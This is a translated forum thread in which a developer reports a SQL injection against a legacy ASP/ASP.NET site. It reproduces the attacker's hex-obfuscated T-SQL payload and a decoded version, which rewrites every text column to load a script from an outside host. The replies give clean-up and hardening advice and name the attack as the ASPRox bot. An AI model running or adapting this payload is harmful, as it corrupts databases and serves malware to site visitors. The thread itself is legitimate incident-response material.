可能重复：
我的服务器被黑了 紧急求助
天哪，我绝望了！几个小时前，我们的生产数据库被 SQL 注入了。
我知道我们的系统存在一些大漏洞……因为我们从一个使用传统 ASP 的人那里继承了该网站，他的编程非常糟糕且不安全。所以我们花了一些时间将其迁移到 ASP.NET（首先是 1.1，然后是 2.0，现在是 3.5）。但这是一个大项目，并且仍然有旧的和不安全的代码。我不会撒谎，这个项目一团糟，我讨厌它，但它是我们最重要的客户（我们只是两个年轻人，不是一家大公司）。
所以我知道他们以某种方式向我的整个数据库注入了一些 js 脚本引用......可能是通过一个旧页面使用连接的字符串 sql 查询并直接抛入数据库（因为启动该项目的人说“存储过程不起作用”.....所以他使用字符串连接完成了整个站点，并将它们直接抛入 sql，而没有进行任何安全验证或任何事情。
当我们接手这个项目时，客户不想花时间重做老家伙做过的烂事。所以我们不得不编写蹩脚且不安全的代码，并在开发新功能时对其进行修复，因为这是客户想要的……现在我们已经被注入了 SQL，他们当然会发疯。
所以....
**有没有办法检查过去 X 小时内执行过的旧 SQL 查询？类似于 SQL Profiler 所做的（但当然，攻击发生时我们没有打开分析器）？有没有办法找出哪个页面是易受攻击的？请帮忙，有很多页面。如果不确定哪个是页面，我无法手动搜索这些页面。
另外...他们还有其他方法可以注入数据库吗？比如使用 IIS 请求或 js 之类的？**
我对服务器机器具有完全的远程桌面访问权限（它不在托管环境中），因此我可以访问服务器上的每个文件、日志等等……
请帮忙！
附言：抱歉，我的英语不太好，而且现在我很紧张，英语更差了！
编辑
- Windows 2003 服务器
- SQL 服务器 2005
- ASP.NET 3.5
他们给出的脚本如下
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
翻译成文字就是：
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
答案1
首先要做的不是惊慌。但我发现你跳过了这一点，决定
第二件事是关闭网站，并确保它无法从外部访问，直到您能找出问题所在。开始查看访问日志并尝试找出主要问题所在。
第三件事是看看你是否定期备份数据库并进行回滚。你可能会丢失一些数据 - 但你的处境会比现在好
第四件事是——不要——泄露网址，因为它显然不安全
答案2
一定要确保安装最新版本的 UrlScan——它就是为抵御此类攻击而设计的。
如果您有 IIS 日志，入口点应该非常明显 - 寻找黑客正在攻击的那个。
如果可能的话，另一个好的后备方案是拒绝 Web 用户帐户的 INSERT 和 UPDATE 权限，而是通过存储过程执行。当这是零日攻击时，这种后备方案使我们避免了类似的遗留应用程序出现类似问题。
我认为您还可以删除 PUBLIC 用户的扫描表的权限，这应该可以阻止他们进行“foreach table”风格的攻击。
答案3
作为参考点，这是 ASPRox bot SQL 注入攻击的工作。它似乎时不时地浮出水面，因为当发现受感染的系统时，它会变得非常流行。您可以在 Google 上搜索“ASPRox bot”，并获得一些额外的清理方法和进一步的预防处理。我刚刚发现此 PDF文件对其策略进行了很好的概述，并链接到一些清理选项。
问题在于病毒/注入模型基本上占用了所有数据库表中的每个文本字段，并放入一个小片段，该片段调用指定的 URL 来尝试感染任何其他 Web 客户端，并尝试使它们成为访问您网站的僵尸。
因此，请确保检查相关服务器上的所有数据库，而不仅仅是涉及数据库的数据库，以进行适当的清理。
看来您这里的建议是正确的，但对病毒名称有一些“正式”的引用可能会有助于满足其他需求。
答案4
检查您的 IIS 日志，找出他们使用哪个页面进行注入。不用说，您需要快速修复或禁用该页面。
最佳方法取决于场地类型。如果可能的话，关闭网站直到您恢复了未受污染的数据库或撤消了更改（这需要详细的日志）。然后您可以将网站恢复为只读模式，直到您有时间修复问题。只需将 SQL 帐户限制为仅 SELECT。
即使您连接查询字符串，也可以轻松获得相当安全的结果。在所有 ASP 文件中搜索 SELECT 和 UPDATE 等关键字将显示所有查询。首先对所有参数进行基本的健全性检查。
因为你可能很着急，所以你可以看看一些真的我的旧 ASP VBScript 代码。其中有一堆 SafeSqlWhatever 函数可帮助您构建安全的 SQL 语句。不作任何保证，它从未打算公开。但是，用SqlVar（一些值）函数应该可以帮助您入门。您需要从查询字符串的其余部分中删除单引号，因为 SqlVar 会为您添加它们。或者，使用特定于您期望的值类型的函数：
前：
Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)
后：
Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))
附言：不，这不是应该的方式，但是大概以最快的速度让一切恢复到原来的状态。